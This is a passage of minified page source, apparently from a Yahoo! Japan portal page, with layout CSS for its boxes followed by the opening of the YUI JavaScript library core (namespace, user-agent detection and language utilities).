a{position:absolute;top:5px;right:8px;color:#fff;}#cb2yjservice .cb2detail ul li a{margin-left:15px;}#cb2worldservice{_height:71px;min-height:71px;}#cb2yjedit input{width:15px;}#cb2selectarea{position:relative;min-height:61px;_height:71px;padding-top:10px;}#cb2selectarea li{margin-bottom:5px;}#cb2selectarea button{width:7.8em;margin:0;padding:1px 0;*padding:0;border:0;border-top:1px solid #fff;font-weight:bold;text-align:center;}#cb2selectarea p{position:absolute;bottom:10px;right:10px;}#cb2selectarea span{display:block;float:left;}#cb2cancelbg{position:relative;right:5px;}#cb2selectarea span#cb2cancelbg,#cb2selectarea button#cb2cancel{background:#ccc;}#cb2selectarea span#cb2cancelbg{border:1px solid #666;}#cb2selectarea span#cb2setupbg,#cb2selectarea button#cb2setup{background:#fc3;}#cb2selectarea span#cb2setupbg{border:1px solid #ce8800;}#cb2bg .off #cb2selectarea span#cb2setupbg{border-color:#d1d1d1;}#cb2bg .off #cb2selectarea span#cb2setupbg,#cb2bg .off #cb2selectarea span#cb2setupbg button{background:#ddd;color:#999;cursor:default;}#navi #cb2popup{position:absolute;z-index:9;padding-bottom:3px;border:0;background:transparent;width:12em;margin:-6.7em 0 0 -1.05em;letter-spacing:-1px;}#cb2popup p{padding:4px 0 4px 2px;border:3px solid #b9c6d3;background:#fff;color:#000;font-weight:normal;}#cb2popup p strong{color:#e72e00;font-weight:bold;}#cb2popup p span,#cb2popup .cb2pbg2{background:url(http://k.yimg.jp/images/top/sp2/cb/cb2p_bg-090407.gif) no-repeat 0 0;}#cb2popup p span{position:absolute;right:2px;*right:1px;top:-6px;display:block;width:17px;height:13px;text-indent:-9999px;cursor:pointer;}#cb2popup .cb2pbg{margin:0 2px -3px 0;}#cb2popup .cb2pbg2{padding-bottom:9px;background-position:-20px 100%;}#companybox{padding:0 2px;}#companybox div{border-top:1px solid;}#companybox h2{padding:5px 5px 0;border-top:1px solid #fff;}#companybox ul,#companybox p{margin:0 0 0 4px;overflow:hidden;*zoom:1;}#companybox #cmprikunabi,#companybox #cmprikunabi h2{border-top:0;}#cmprikunabi ul{margin-top:7px;margin-bottom:7px;}#cmprikunabi ul li{display:inline;margin-left:0.5em;}#cmprikunabi ul li.first{margin-left:0;}#cmprikunabi p{margin-bottom:7px;}#composite ul{background:no-repeat 50% 0;}#composite ul.ieDisp{background:no-repeat 50% 50px;position:relative;padding-top:50px;}#composite .cmpIE{position:absolute;top:0;width:100%;background-repeat:no-repeat;background-position:50% 0;}#composite li a{display:block;width:170px;height:40px;margin:0 auto 10px;overflow:hidden;text-indent:-9999px;}#topicsbox{border-top:none;}#topicsbox .hd{margin:0 -1px;border-bottom:0;}html #main #topicsbox ul.tab li.last span{margin-right:-3px;}#topicsbox h2{display:none;}#topicsbox .tab{position:relative;z-index:1;padding-bottom:1px;border:1px solid;background-position:0 -100px;}#topicsbox .tab li{position:relative;float:left;width:20%;margin:-1px 0 -2px;border-bottom:1px solid;*border-bottom:0;border-top:1px solid;background-position:0 -100px;text-align:center;}#topicsbox .tab li span{display:block;position:relative;z-index:9;margin-bottom:-1px;border-right:1px solid;background-position:100% 0;*zoom:1;}#topicsbox .tab li span a{display:block;position:relative;margin-right:-2px;*margin-bottom:-1px;padding:1px 2px 2px 0;border:1px solid #fff;*zoom:1;}#topicsbox .on1 .tab0 span a,#topicsbox .on2 .tab1 span a,#topicsbox .on3 .tab2 span a,#topicsbox .on4 .tab3 span a,#topicsbox .tab .on span a,#topicsbox .tab .last span a{margin-right:0;padding-right:0;}#topicsbox .tab .tab1 span a{*border-left:0;}#topicsbox .on4{border-bottom-color:#fff;border-right-color:#9baab1;background-position:0 -300px;background-color:#fff;padding-bottom:2px;*padding-bottom:1px;}#topicsbox .tab .on{z-index:9;padding:0;margin-bottom:-2px;*margin-bottom:-1px;background-position:0 -300px;background-color:#fff;}#topicsbox .tab .on span{*padding-bottom:1px;border-right:1px solid;border-bottom:1px solid #fff;}#topicsbox .tab .off span{border-right:1px solid;*border-bottom:1px solid;}#topicsbox .tab .last{*width:19.7%;border-bottom:0;}#topicsbox .tab .last span,#topicsbox .tab .last span a{border-right:0;}#topicsbox .on4 .on span{border-right:0;}#topicsboxbd{min-height:220px;padding-right:10px;overflow:hidden;_overflow:visible;*zoom:1;}#topicsboxbd div{display:none;}#topicsboxbd div div,#topicsboxbd .current{display:block;}.topicsindex{float:left;width:63.5%;}.topicsindex em{margin:6px 0 0 8px;}.topicsindex .emphasis{margin:6px 0 0 5px;}.topicsindex .emphasis li,#othersfb .detail li{margin:5.5px 0 5px;}.topicsindex .emphasis li,#othersfb .detail li, x:-moz-any-link{max-height:1.23em;}.topicsindex .emphasis li img{margin-left:2px;}.topicsindex .more{margin:12px 15px;}.topicsindex .more li{display:inline;padding-right:1em;}.topicscatch{float:right;width:35.2%;margin-top:10px;padding-top:1px;}#topicsbox .topicsdetail{padding:3px 5px 3px 9px;margin:-1px 0 0;}#topicsboxbd .topicsdetail{border:1px solid;}.topicsimg{margin:6px 0 0 -4px;padding-bottom:2px;text-align:center;}#tpcsimgfilter{margin:auto;}.topicscatch h3,.topicscatch ul li{margin:2px -3px 0 0;padding-bottom:2px;}.topicscatch p{margin-bottom:2px;padding:2px 0;}#topicsbox em,#topicsbox .topicsdetail cite{display:block;color:#666;}#topicsbox .topicsdetail cite{margin-bottom:5px;}.topicscatch .item{padding:1px 0 2px;margin-left:-5px;}.topicscatch .mds{margin-bottom:5px;}.tpcdtlinfo{position:relative;padding-bottom:4px;}.tpcdtlinfo dt,.tpcdtlinfo dd{line-height:1.1em;*line-height:1em;}.tpcdtlinfo dt{margin-top:4px;}.tpcdtlinfo dd{text-align:right;margin-right:4px;}.tpcdtlinfo dt.ex,.tpcdtlinfo dt.last{position:absolute;left:0;}.tpcdtlinfo dd.ex,.tpcdtlinfo dd.last{margin-top:4px;margin-left:3em;}.tpcdtlinfo dd.low{color:#f00;}#othersfb{padding:5px 0 0 10px;*margin-right:-10px;}#othersfb .detail{float:left;width:50%;*width:49.8%;}#othersdetail3{clear:both;padding-top:10px;overflow:hidden;}#othersdetail3 h3{float:left;padding-right:14px;}#othersdetail3 h4{margin:0 -10px 8px 0;font-weight:normal;}#topicsbox .notfound{_height:auto;min-height:1em;}.notfound #topicsfb p{color:#666;line-height:1.7em;margin:20px 16px 20px;}.notfound #topicsfb p strong{margin-left:-6px;}.notfound #topicsfb p a{text-decoration:underline;}#topicsInfo dt a{display:block;width:46px;height:46px;background-position:0 -200px;text-indent:-9999px;overflow:hidden;line-height:0;}#spotlight{padding:10px 10px 0;background-position:0 -300px;*zoom:1;}#splsentence{float:left;width:61%;}.spltmp3 #splsentence{margin-bottom:2em;}.spltmp3 #splsentence h2{margin-bottom:0.5em;}#spotlight .nonImg{width:auto;}#splsentence p{margin:10px 4px;line-height:1.5;*line-height:1.4;}#splimg{float:right;width:142px;padding-bottom:5px;text-align:center;}#splimgfilter{width:142px;height:100px;}#spotlight ul{clear:both;margin:0 9px 9px;overflow:hidden;*zoom:1;}#spotlight ul li{float:left;width:50%;margin:3px -1px 3px 0;}#spotlight ul li.ex{width:auto;}#spotlight .mds{margin:0 12px 2px;}#spldetail{clear:both;margin-bottom:10px;padding:3px 5px;text-align:center;}#splBkNum{margin:0 -10px;}#eventPromo{padding:11px 8px;overflow:hidden;*zoom:1;}#eventPromo .img{float:left;padding-right:8px;}#eventPromo p{margin:4px 0 0 178px;line-height:1.4em;}#selectionR #slcbd{position:relative;min-height:125px;_height:125px;overflow:hidden;_overflow:visible;}#selectionR .slcImg{padding:5px;}#selectionR li{margin:0 0 7px;*zoom:1;}#selectionR #slcbd,#selectionR h4{padding:4px 5px;*padding-bottom:8px;}#selectionR p{margin:4px 5px;}#selectionR h4,#selectionR ul{margin-bottom:4px;padding-right:0;}#selectionR h5{padding-top:5px;font-weight:normal;}#selectionR h5.f2b a{padding:2px 0 2px 18px;background-repeat:no-repeat;background-position:0 50%;}#selectionR .slctmpR2 h4,#selectionR .slctmpR12 h4{padding-bottom:0;}#selectionR .slctmpR11{margin-left:4px;}#selectionR .slctmpR12{padding-right:0;}#selectionR .slctmpR12 p{margin-top:0;}#selectionR .slctmpR13 h4{padding-right:5px;}#selectionR .slctmpR13 ul{clear:left;}#selectionR .slctmpR15 .slcImg{padding:5px 0;text-align:center;}.al{float:left;padding-right:10px;}.ar{float:right;}.ac{text-align:center;}.pa{position:absolute;left:5px;}.c2{width:50%;*width:49.9%;float:left;}.c2b{width:50%;*width:39.5%;float:left;}.c3{float:left;width:33.33%;*width:33%;}.c3b{width:33.33%;*width:25%;float:left;}.c4{width:25%;*width:24.9%;float:left;}.f1{margin-left:83px;}.f2b{margin-left:129px;}#vdobd{overflow:hidden;*zoom:1;}#vdobd .imgfilter{width:120px;height:90px;}#vdobd em{color:#666;line-height:1.22;}.vdotmp1b{position:relative;padding:2px 10px 6px;}.vdotmp1b em{float:left;display:block;margin-top:105px;width:120px;}.vdotmp1b em span{vertical-align:bottom;}.vdotmp1b .img{position:absolute;top:10px;left:9px;border:1px solid #666;padding:1px;}.vdotmp1b .symbol{padding:0 0 1.5em 130px;*margin:10px 0 0 -3px;}.vdotmp1b .more{position:absolute;right:10px;bottom:7px;line-height:1.1;}.vdotmp2{padding:4px 0 4px 11px;background-position:0 -2440px;background-repeat:repeat-x;}.vdotmp2 ul{*zoom:1;*margin-right:-2px;}.vdotmp2 ul li{float:left;width:33.3%;margin-bottom:0;}.vdotmp2 ul li .imgfilter{margin:0 auto 22px;}.vdotmp2 ul li .img,.vdotmp2 ul li p,.vdotmp2 ul li em{padding-right:10px;}#cgmboxR #cgmbd{padding:9px 8px 0;overflow:hidden;*zoom:1;}#cgmboxR h3{margin-bottom:8px;}#cgmboxR p{padding-bottom:10px;line-height:1.5em;}#cgmboxR img{float:left;}.cgmtmpR2b ul{margin:-7px 0 0 127px;}.cgmtmpR3 ol,.cgmtmpR4 ul,.cgmtmpR10 ul,.cgmtmpR13 ol{float:left;width:50%;*width:49.8%;margin:-7px 0 1px;overflow:hidden;*zoom:1;}#cgmboxR .cgmtmpR5 li p,#cgmboxR .cgmtmpR6 li p{margin:2px 12px 0;padding-bottom:0;line-height:1.2em;*line-height:1.1em;}.cgmtmpR6 ul{margin-left:108px;}.cgmtmpR7 img,.cgmtmpR11 img{clear:both;}.cgmtmpR7 h4,.cgmtmpR11 h4{margin-bottom:10px;font-weight:normal;}.cgmtmpR7 .detail,.cgmtmpR11 .detail{_height:84px;min-height:84px;margin-left:110px;}.cgmtmpR12 p{margin-bottom:-5px;}.cgmtmpR13 ol{*padding-bottom:2px;}#announce .item{margin:8px 0 0 3px;}#sub #brandpanel{position:relative;z-index:3;border:0;background-color:transparent;text-align:center;}#sub .yzq_x{left:-9999px;}#disaster{padding-bottom:7px;border-color:#414141 !important;background-color:#fff !important;}#disaster h2{height:32px;background:#666 url(http://k.yimg.jp/images/top/sp2/emg/disaster_ttl-110401.png) no-repeat 50% 50%;line-height:32px;text-indent:-9999px;}#disaster ul{padding-left:3px;}#disaster li{float:left;width:46.2%;margin:7px 0 0;}#personalbox{z-index:2;padding:5px 5px 0;*zoom:1;}#personalbox h2{display:none;}#pbproperty .connect,#personalbox h3 span,#personalbox #pbdata{font-weight:bold;}#pbidinfo,#pbproperty{position:relative;*zoom:1;}#pbidinfo li{margin:3px 0 0;}#pbidinfo .loginout{position:absolute;top:2px;}#pbidinfo .info{position:absolute;right:0;top:0.5em;}#pbidinfo .info span{position:absolute;right:0;width:5em;top:-0.3em;text-align:center;}#pbproperty{margin-top:2.2em;border:1px solid;background:#fff;*zoom:1;}#pbproperty .connect{padding:4px 0;margin:0 0 0 4px;}#pbproperty .connect #mailicon{position:absolute;display:block;width:36px;height:27px;float:left;margin-top:-7px;text-indent:-9999px;overflow:hidden;background-position:0 -130px;}#pbproperty .connect #mailicon.on{background-position:0 -160px;}#pbproperty .connect .txt{padding-left:40px;}#pbproperty .shortcut{position:absolute;top:50%;right:5px;margin-top:-8px}#pbproperty .shortcut li{float:left;padding-left:8px;margin:0;}#pbproperty .shortcut li a{display:block;overflow:hidden;text-indent:-9999px;width:16px;height:16px;background-position:0 -94px;}#pbproperty .shortcut li a.second{background-position:-19px -94px;}#pbproperty .shortcut li a.third{background-position:-37px -94px;}#pbindex{position:relative;z-index:2;*zoom:1;}#pbindex li{margin:0;}#pbindex .high{color:#f00;}#pbindex .low{color:#00f;}#pbindexbg{position:relative;z-index:2;margin-top:2px;}#pbtoday{position:relative;margin-right:44.5%;*margin-right:45%;_margin-right:40%;padding:2px;*zoom:1;*height:152px;background-color:#fff;border-style:solid;border-width:1px;}#pbtoday:after{content:\"\";display:block;clear:both;}#pbweather,#pbplan,#pbfortune{padding:3px 2px;border-top:1px solid;*zoom:1;clear:left;}h3#pbdata{background-position:0 -601px;padding:3px 0;text-align:center;}#pbweather{position:relative;z-index:9;}#pbweather.grayout{*zoom:1;line-height:1.3;}#pbweather .img{position:absolute;display:block;width:175px;height:48px;top:0;margin-top:-5px;*margin-top:-3px;text-indent:-9999px;background-position:-250px -250px;}#pbweather.grayout #pbwlocation{padding-top:4px;*padding-top:1px;}#pbweather h3{float:left;}#pbwarea{text-indent:10px;}#pbwicon{clear:left;float:left;}#pbwicon a{display:block;width:33px;height:20px;}#pbindex #pbwtemperature{float:right;margin-top:4px;padding-left:2em;border-left:1px solid #999999;line-height:1;}#pbwrprobability{margin-bottom:3px;padding:3px 15px 0 0;text-align:center;}#pbtoday .grayout h3{float:none;}#pbwlocation{clear:left;text-align:right;}#pbplan h3,#pbfortune h3{position:absolute;}#pbpnumber,#pbfconstellation{float:left;padding:0 0 3px 5.8em;}#pbfpoint{float:right;}#pbfortune{z-index:5;}#pbfortune .floatingw{position:absolute;left:-1px;z-index:9;width:15em;margin-top:1em;padding:5px 2px 1px 5px;border:1px solid #ccc;background:#fffac6;zoom:1;}#pbfortune .floatingw li{float:left;width:4.8em;padding:0 0.2em 0.4em 0;position:relative;}#pbfortune .floatingw li.ex{width:auto;}#pbfortune .floatingw li a{padding-left:17px;background-image:url(http://k.yimg.jp/images/top/sp2/pb/fotune_icon-101026.png);background-repeat:no-repeat;}#aries{background-position:0 0;}#taurus{background-position:0 -40px;}#gemini{background-position:0 -80px;}#cancer{background-position:0 -120px;}#leo{background-position:0 -160px;}#virgo{background-position:0 -200px;}#libra{background-position:0 -240px;}#scorpio{background-position:0 -280px;}#sagittarius{background-position:0 -320px;}#capricorn{background-position:0 -360px;}#aquarius{background-position:0 -400px;}#pisces{background-position:0 -440px;}#nofortune{background-position:0 -480px;}#pbcalendar{position:relative;float:right;width:43%;margin-bottom:-3px;background-color:#fff;border-style:solid;border-width:1px;}#pbcalendar table{width:99%;}#pbcalendar table th{text-align:center;padding:3px 5px;}#pbcalendar table th ul li{float:left;}#pbcalendar table th ul li a{position:absolute;}#pbcPrev{left:0;margin-left:3.2em;}#pbcNext{right:0;margin-right:3.2em;}#pbcMonth{font-weight:bold;margin:0 10px;*zoom:1;}#pbcYear{position:absolute;top:3px;margin-top:3px;right:3px;font-size:85%;color:#666;}#pbcalendar table td{text-align:right;}#pbcalendar table td a{display:block;padding:1px 0 0;min-width:16px;white-space:nowrap;border:1px solid #fff;}#personalbox table td .e{color:#999;}#personalbox table td .h{color:#f00;}#personalbox table td .b{font-weight:bold;*padding:1px 1px 1px 0;}#personalbox table td .c{border-color:#1d3994;}#pbcalendar table td.t a{color:#fff;}#pbsocial{margin-top:5px;padding:4px 8px;*padding:3px 8px 5px;background:#fff;border:1px solid;overflow:hidden;*zoom:1;}#pbsocial p a{background-position:0 -1832px;display:block;float:left;margin:-1px 0;padding:2px 0 2px 20px;min-height:13px;}#pbsocial dl{margin:0 -5px;}#pbsocialInfo{float:left;width:56%;padding-top:2px;background-position:0 -1873px;}#pbsocial dt a{padding-left:16px;}#pbsocial dd{float:right;background-image:url(http://k.yimg.jp/images/top/sp2/pb/vitality_bg-091118.png);background-repeat:no-repeat;}#pbsocial dd{padding-left:5px;}#pbsocialNotice{border-left:1px solid #999;}#pbsocial dd.level0{background-position:5px 2px;}#pbsocial dd.level1{background-position:5px -38px;}#pbsocial dd.level2{background-position:5px -78px;}#pbsocial dd.level3{background-position:5px -118px;}#pbsocial dd.level4{background-position:5px -158px;}#pbsocial dd.level4x{background-position:5px -198px;}#pbsocial dd a{display:block;width:65px;text-indent:-9999px;overflow:hidden;}#pbsocialNotice a{background-position:6px -1913px;}#pbsocialMsg a{background-position:6px -1953px;}#pblogininfo{margin:5px -4px 0;border-top:1px solid;*zoom:1;}#pblogininfo ul{padding-left:12px;border-top:1px solid #fff;}#pblogininfo ul li{margin:3px 0;}#pblogininfo li a{padding:2px 0 2px 20px;background-repeat:no-repeat;min-height:13px;display:inline-block;}#pblogininfo .point{float:left;width:54%;*width:52.8%;border-right:1px solid #999;}#pblogininfo .star{float:right;width:43%;}#pblogininfo .point a{background-position:0 -1652px;}#pblogininfo .star a{background-position:0 -1992px;}#pblogininfo .login a{background-position:0 -1692px;}#pbdplan li,#pbdBd3 li,#pbdClose{background-image:url(http://k.yimg.jp/images/top/sp2/pb/calendar_icon-100310.png);background-repeat:no-repeat;}#pbdetailbg{display:none;position:absolute;top:-1px;left:-1px;right:0;z-index:9999;width:101%;_width:104%;border-style:solid;border-width:0 1px 1px 0;border-color:#ccc;}#pbdetail{background-color:#fff;border-style:solid;border-width:1px;*zoom:1;}#pbdHd,.pbdHr{margin:0 4px;padding:5px 0 3px;*padding:5px 0 6px;}.pbdHr{border-top-style:solid;border-top-width:1px;}#pbdHd h3{font-weight:bold;text-align:center;}#pbdHd ul li{*float:left;}#pbdHd ul li a{position:absolute;top:6px;}#pbdHd ul li a.prev{left:7px;}#pbdHd ul li a.next{right:7px;}#pbdBd1 dt{display:none;}#pbdBd1 dd{display:inline-block;margin-right:7px;vertical-align:middle;}#pbdweather{margin-top:-4px;}#pbdplan li{padding:0 0 5px 15px;}#pbdBd2{min-height:115px;_height:115px;}#pbdBd2 .dtl{margin:8px 15px 0;color:#666;line-height:1.5;}#pbdBd2 .more{padding-top:2px;text-align:right;}#pbdBd3 li{background-position:0 -50px;padding:0 0 0 15px;}#pbdFt{padding:3px 4px;text-align:center;}#pbdClose{background-position:100% -100px;padding:0 20px 1px 0;}#yjidbox{position:relative;*zoom:1;}#yjidbox{min-height:68px;padding:5px 10px;}#yjidbox h2{float:left;margin-right:1.2em;}#yjidbox h2 a{background-position:0 -1793px;padding:2px 0 2px 20px;*zoom:1;}#yjidbox .more{text-align:right;}#yjidbox img{position:absolute;left:10px;margin-top:5px;}#yjidbox ul{margin:10px 0 12px 60px;}#sub #yjidboxB{border:none;background:none;text-align:center;}#everywhere .item{margin:8px 0 0 3px;}#everywherePromo{margin:10px;text-align:center;}#notice ul{padding:0 10px;}#rightbox{overflow:hidden;*zoom:1;}#rightbox #rbdtl3{margin:8px 0 0 3px;}#rightbox #rbdtl3 li{*zoom:1;}#rightbox #rbimg{float:left;}#rightbox #rbimg a{outline:none;}#rightbox #rbimg a img{border:1px solid #ccc;}#rightbox #rbimg img,#rightbox #rbimg2 img{margin:10px;}#rightbox #rbimg img{*margin-bottom:0;}#rightbox #rbdtl{margin:5px 10px;}#rightbox #rbdtl2{margin:13px 10px;}#rightbox #rbdtl a,#rightbox #rbdtl2 a{line-height:1.8em;*line-height:1.6em;}#sub #rightbox2{border-top:0;margin-top:-10px;padding:7px 10px;}#local{z-index:1;*zoom:1;}#localbd{overflow:hidden;*zoom:1;}#localbd .item{margin:8px 0 0 3px;}#localbd dl{clear:both;*zoom:1;margin:0 10px 5px;padding-top:5px;}#localbd dt{display:inline;padding:1px 2px;background-color:#ff7301;color:#fff;font-size:85%;}#localbd dd{display:inline;margin-left:1em;}#localbd .error{padding:7px 16px;color:#666;}#localbd .more{clear:both;*zoom:1;text-align:right;padding:4px 10px;}#partner .item{margin:8px 0 0 3px;}#partner p.more{margin:0 10px 10px;text-align:right;}#footer{padding:5px 0;margin-bottom:0;}#footer ul,#footer address{margin:5px auto;}.ulmwindow .ulmStart0 .ulmwindowbd{overflow:hidden;}.ulmwindow .ulmStart0 .ulmwindowsearch{float:right;}.ulmwindow .ulmStart0 .ulmwindowCth{float:left;}.ulmwindow .ulmStart0 .ulmwindowmds{clear:left;margin:0;width:75%;}.ulmwindow{position:absolute;left:-9px;z-index:9;display:block;min-width:328px;width:24.6em;margin-top:-2px;padding:10px;border:1px solid #6990b4;background:#fffac6;color:#666;}.ulmwindow form{position:relative;*zoom:1;}body .ulmwindow .alert{color:#f00;}.ulmwindowttl{margin:10px 0 -6px;}.ulmwindowdtl{height:100px;margin-top:11px;padding:1px 0;border:1px solid #ccc;background:#fff;overflow:auto;}ul.ulmwindowdtl li{margin:3px 0;}ul.ulmwindowdtl li a{display:block;margin:0 1px;padding:1px 0 1px 0.5em;}.ulmwindow .ulmwindowbd{padding:8px 9px;border:1px solid #ccc;background:#fffac6;}.ulmwindow label{display:block;}.ulmwindow .ulmwindowCth{margin-bottom:4px;color:#000;line-height:1.5;}.ulmwindow .ulmwindowmds{margin-bottom:7px;color:#666;}.ulmwindow .ulmStart .ulmwindowmds{margin-bottom:2px;}.ulmwindowmds span{display:block;margin:3px 0 0 1em;}.ulmwindow .ulmwindowsearch *{vertical-align:middle;}.ulmwindow .ulmwindowarea{position:relative;}.ulmwindow .ulmwindowsearch{vertical-align:middle;padding-bottom:3px;}.ulmwindow .ulmwindowsearch input{width:77%;min-height:16px;margin-right:3px;padding:1px 3px;border:1px solid #7f9db9;}.ulmwindow .ulmwindowsearch button{padding:0 10px;min-height:20px;border:1px solid;background-repeat:repeat-x;background-position:0 -2070px;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn0{border-color:#666767;background-color:#ccc;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn{border-color:#57718f;background-color:#57718f;background-position:0 -2030px;color:#fff;}.ulmwindow .ulmwindowevery{margin:6px 0 0 4em;}.ulmwindow .ulmwindowevery input{margin-right:1em;}.ulmwindowoption{margin:7px 0 -4px;text-align:right;}#localfw{top:1.6em;left:-1px;}#localfw2{position:relative;z-index:10;left:0;width:auto;margin:0;border-width:0 0 1px;border-bottom-color:#ccc;}.ulmwindow .ulmbg{position:absolute;z-index:10;left:10px;bottom:0;display:block;height:9px;width:31px;margin:10px 0 -9px;background-repeat:no-repeat;background-position:0 -190px;}#centralPosition{margin-top:-20px;border-top:0;}#centralPosition h2{padding:2px 2px 7px;}#centralPosition ul{margin:-7px 4px -8px 59px;*margin-bottom:-4px;padding-top:9px;overflow:visible;}#centralPosition li{margin-left:-30px;position:relative;z-index:9;overflow:hidden;}#centralPosition dl{margin:0 9px 0 67px;padding:9px 0 7px 0;background-repeat:repeat-x;background-position:0 -2700px;}#centralPosition dt{position:absolute;left:9px;font-weight:bold;}#centralPosition dd{margin-left:-67px;padding-left:3.8em;}\r\n--\u003e\u003c/style\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nvar ver=\"ga3_sf3\";\r\nif(typeof YAHOO==\"undefined\"||!YAHOO){var YAHOO={}}YAHOO.namespace=function(){var a=arguments,b=null,d,e,c;for(d=0;d\u003ca.length;d=d+1){c=(\"\"+a[d]).split(\".\");b=YAHOO;for(e=(c[0]==\"YAHOO\")?1:0;e\u003cc.length;e=e+1){b[c[e]]=b[c[e]]||{};b=b[c[e]]}}return b};YAHOO.log=function(b,a,c){var d=YAHOO.widget.Logger;if(d\u0026\u0026d.log){return d.log(b,a,c)}else{return false}};YAHOO.register=function(d,i,a){var e=YAHOO.env.modules,c,f,g,h,b;if(!e[d]){e[d]={versions:[],builds:[]}}c=e[d];f=a.version;g=a.build;h=YAHOO.env.listeners;c.name=d;c.version=f;c.build=g;c.versions.push(f);c.builds.push(g);c.mainClass=i;for(b=0;b\u003ch.length;b=b+1){h[b](c)}if(i){i.VERSION=f;i.BUILD=g}else{YAHOO.log(\"mainClass is undefined for module \"+d,\"warn\")}};YAHOO.env=YAHOO.env||{modules:[],listeners:[]};YAHOO.env.getVersion=function(a){return YAHOO.env.modules[a]||null};YAHOO.env.ua=function(){var e=function(i){var h=0;return parseFloat(i.replace(/\\./g,function(){return(h++==1)?\"\":\".\"}))},b=navigator,c={ie:0,opera:0,gecko:0,webkit:0,mobile:null,air:0,caja:b.cajaVersion,secure:false,os:null},f=navigator\u0026\u0026navigator.userAgent,d=window\u0026\u0026window.location,g=d\u0026\u0026d.href,a;c.secure=g\u0026\u0026(g.toLowerCase().indexOf(\"https\")===0);if(f){if((/windows|win32/i).test(f)){c.os=\"windows\"}else{if((/macintosh/i).test(f)){c.os=\"macintosh\"}}if((/KHTML/).test(f)){c.webkit=1}a=f.match(/AppleWebKit\\/([^\\s]*)/);if(a\u0026\u0026a[1]){c.webkit=e(a[1]);if(/ Mobile\\//.test(f)){c.mobile=\"Apple\"}else{a=f.match(/NokiaN[^\\/]*/);if(a){c.mobile=a[0]}}a=f.match(/AdobeAIR\\/([^\\s]*)/);if(a){c.air=a[0]}}if(!c.webkit){a=f.match(/Opera[\\s\\/]([^\\s]*)/);if(a\u0026\u0026a[1]){c.opera=e(a[1]);a=f.match(/Opera Mini[^;]*/);if(a){c.mobile=a[0]}}else{a=f.match(/MSIE\\s([^;]*)/);if(a\u0026\u0026a[1]){c.ie=e(a[1])}else{a=f.match(/Gecko\\/([^\\s]*)/);if(a){c.gecko=1;a=f.match(/rv:([^\\s\\)]*)/);if(a\u0026\u0026a[1]){c.gecko=e(a[1])}}}}}}return c}();(function(){YAHOO.namespace(\"util\",\"widget\",\"example\");if(\"undefined\"!==typeof YAHOO_config){var d=YAHOO_config.listener,a=YAHOO.env.listeners,b=true,c;if(d){for(c=0;c\u003ca.length;c++){if(a[c]==d){b=false;break}}if(b){a.push(d)}}}})();YAHOO.lang=YAHOO.lang||{};(function(){var h=YAHOO.lang,a=Object.prototype,b=\"[object Array]\",g=\"[object Function]\",c=\"[object Object]\",e=[],d=[\"toString\",\"valueOf\"],f={isArray:function(i){return a.toString.apply(i)===b},isBoolean:function(i){return typeof i===\"boolean\"},isFunction:function(i){return(typeof i===\"function\")||a.toString.apply(i)===g},isNull:function(i){return i===null},isNumber:function(i){return typeof i===\"number\"\u0026\u0026isFinite(i)},isObject:function(i){return(i\u0026\u0026(typeof i===\"object\"||h.isFunction(i)))||false},isString:function(i){return typeof i===\"string\"},isUndefined:function(i){return typeof i===\"undefined\"},_IEEnumFix:(YAHOO.env.ua.ie)?function(j,k){var l,m,i;for(l=0;l\u003cd.length;l=l+1){m=d[l];i=k[m];if(h.isFunction(i)\u0026\u0026i!=a[m]){j[m]=i}}}:function(){},extend:function(i,m,j){if(!m||!i){throw new Error(\"extend failed, please check that all dependencies are included.\")}var k=function(){},l;k.prototype=m.prototype;i.prototype=new k();i.prototype.constructor=i;i.superclass=m.prototype;if(m.prototype.constructor==a.constructor){m.prototype.constructor=m}if(j){for(l in j){if(h.hasOwnProperty(j,l)){i.prototype[l]=j[l]}}h._IEEnumFix(i.prototype,j)}},augmentObject:function(n,i){if(!i||!n){throw new Error(\"Absorb failed, verify dependencies.\")}var l=arguments,j,m,k=l[2];if(k\u0026\u0026k!==true){for(j=2;j\u003cl.length;j=j+1){n[l[j]]=i[l[j]]}}else{for(m in i){if(k||!(m in n)){n[m]=i[m]}}h._IEEnumFix(n,i)}},augmentProto:function(i,j){if(!j||!i){throw new Error(\"Augment failed, verify dependencies.\")}var l=[i.prototype,j.prototype],k;for(k=2;k\u003carguments.length;k=k+1){l.push(arguments[k])}h.augmentObject.apply(this,l)},dump:function(q,l){var o,m,j=[],i=\"{...}\",p=\"f(){...}\",k=\", \",n=\" =\u003e \";if(!h.isObject(q)){return q+\"\"}else{if(q instanceof Date||(\"nodeType\" in q\u0026\u0026\"tagName\" in q)){return q}else{if(h.isFunction(q)){return p}}}l=(h.isNumber(l))?l:3;if(h.isArray(q)){j.push(\"[\");for(o=0,m=q.length;o\u003cm;o=o+1){if(h.isObject(q[o])){j.push((l\u003e0)?h.dump(q[o],l-1):i)}else{j.push(q[o])}j.push(k)}if(j.length\u003e1){j.pop()}j.push(\"]\")}else{j.push(\"{\");for(o in q){if(h.hasOwnProperty(q,o)){j.push(o+n);if(h.isObject(q[o])){j.push((l\u003e0)?h.dump(q[o],l-1):i)}else{j.push(q[o])}j.push(k)}}if(j.length\u003e1){j.pop()}j.push(\"}\")}return j.join(\"\")},substitute:function(i,x,p){var t,u,v,m,l,j,n=[],w,s=\"dump\",o=\" \",y=\"{\",k=\"}\",q,r;for(;;){t=i.lastIndexOf(y);if(t\u003c0){break}u=i.indexOf(k,t);if(t+1\u003e=u){break}w=i.substring(t+1,u);m=w;j=null;v=m.indexOf(o);if(v\u003e-1){j=m.substring(v+1);m=m.substring(0,v)}l=x[m];if(p){l=p(m,l,j)}if(h.isObject(l)){if(h.isArray(l)){l=h.dump(l,parseInt(j,10))}else{j=j||\"\";q=j.indexOf(s);if(q\u003e-1){j=j.substring(4)}r=l.toString();if(r===c||q\u003e-1){l=h.dump(l,parseInt(j,10))}else{l=r}}}else{if(!h.isString(l)\u0026\u0026!h.isNumber(l)){l=\"~-\"+n.length+\"-~\";n[n.length]=w}}i=i.substring(0,t)+l+i.substring(u+1)}for(t=n.length-1;t\u003e=0;t=t-1){i=i.replace(new RegExp(\"~-\"+t+\"-~\"),\"{\"+n[t]+\"}\",\"g\")}return i},trim:function(j){try{return j.replace(/^\\s+|\\s+$/g,\"\")}catch(i){return j}},merge:function(){var i={},k=arguments,l=k.length,j;for(j=0;j\u003cl;j=j+1){h.augmentObject(i,k[j],true)}return i},later:function(j,p,i,n,m){j=j||0;p=p||{};var 